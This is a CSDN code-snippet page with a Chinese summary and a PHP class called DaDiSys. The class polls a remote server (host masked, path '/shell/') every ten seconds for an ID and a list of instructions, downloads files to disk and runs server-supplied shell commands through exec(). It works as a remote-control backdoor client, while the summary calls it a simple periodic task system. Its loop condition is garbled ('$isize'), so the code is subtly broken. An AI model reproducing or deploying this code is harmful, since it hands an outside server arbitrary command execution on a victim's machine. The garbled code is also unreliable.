main.php,main.php

这段代码定义了一个名为DaDiSys的类,用于执行周期性的任务。它从指定的服务器获取ID,然后检查和执行从服务器接收到的指令,如下载文件到本地并执行特定的shell命令。这个系统依赖于本地文件来存储ID和版本信息,实现了简单的状态同步。
摘要由CSDN通过智能技术生成

class DaDiSys

{

private $srv_name= "http://***.***.com/shell/";

private $m_id_file = "D:/System/MY_ID.dat"; //ID

private $m_bb_file = "D:/System/MY_BB.dat"; //离线版本

private $m_id = "";

public function DaDiSys()

{

while(1)

{

$this->run();

sleep(10);

}

}

private function run()

{

$mid= $this->get_mid();

$this->m_id= $mid;

if(strlen($mid)>10) {

$this->MyRun();

} else {

$this->get_www_id();

}

}

//获取自己的ID

private function get_www_id()

{

$ret= file_get_contents($this->srv_name . "get.php?getid");

$json = json_decode($ret);

$this->set_mid($json->id);

}

//

private function MyRun()

{

$id= $this->m_id;

$ret= file_get_contents($this->srv_name . "get.php?id={$id}&getlist");

$this->ChuLiJSON($ret);

}

private function ChuLiJSON($data)

{

/*

{

size: 3,

mvar: 版本,

data:[

{lx:"下载文件", open:"需要下载的网址", save:"下载到本地的那个地方"},

{lx:"执行文件", shell:"通过cmd执行操作"}

]

}

*/

$json = json_decode($data);

$mm = $this->get_mbb();

$srv_mm = $json->mvar;

if($mm!==$srv_mm)

{

for($i=0;$isize;$i++)

{

if($json->data[$i]->lx==="下载文件")

{

$mopen= $json->data[$i]->open;

$msave= $json->data[$i]->save;

$this->downloadfile($mopen, $msave);

}

if($json->data[$i]->lx==="执行文件")

{

$mshell= $json->data[$i]->shell;

exec($mshell);

}

}

$this->set_mbb($srv_mm);

}

}

private function get_mid()

{

$f= fopen($this->m_id_file, "rb");

$ret= fread($f, 50);

fclose($f);

return $ret;

}

private function set_mid($mid)

{

$f= fopen($this->m_id_file, "wb");

fwrite($f, $mid);

fclose($f);

}

private function get_mbb()

{

$f= fopen($this->m_bb_file, "rb");

$ret= fread($f, 50);

fclose($f);

return $ret;

}

private function set_mbb($bb)

{

$f= fopen($this->m_bb_file, "wb");

fwrite($f, $bb);

fclose($f);

}

private function downloadfile($afile, $tofile)

{

$form= fopen($afile, "rb");

$to= fopen($tofile, "wb");

while(1)

{

$ret= fread($form, 500);

if(feof($form))break;

fwrite($to, $ret);

}

fclose($form);

fclose($to);

}

}

new DaDiSys();

?>

一键复制

编辑

Web IDE

原始数据

按行查看

历史

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值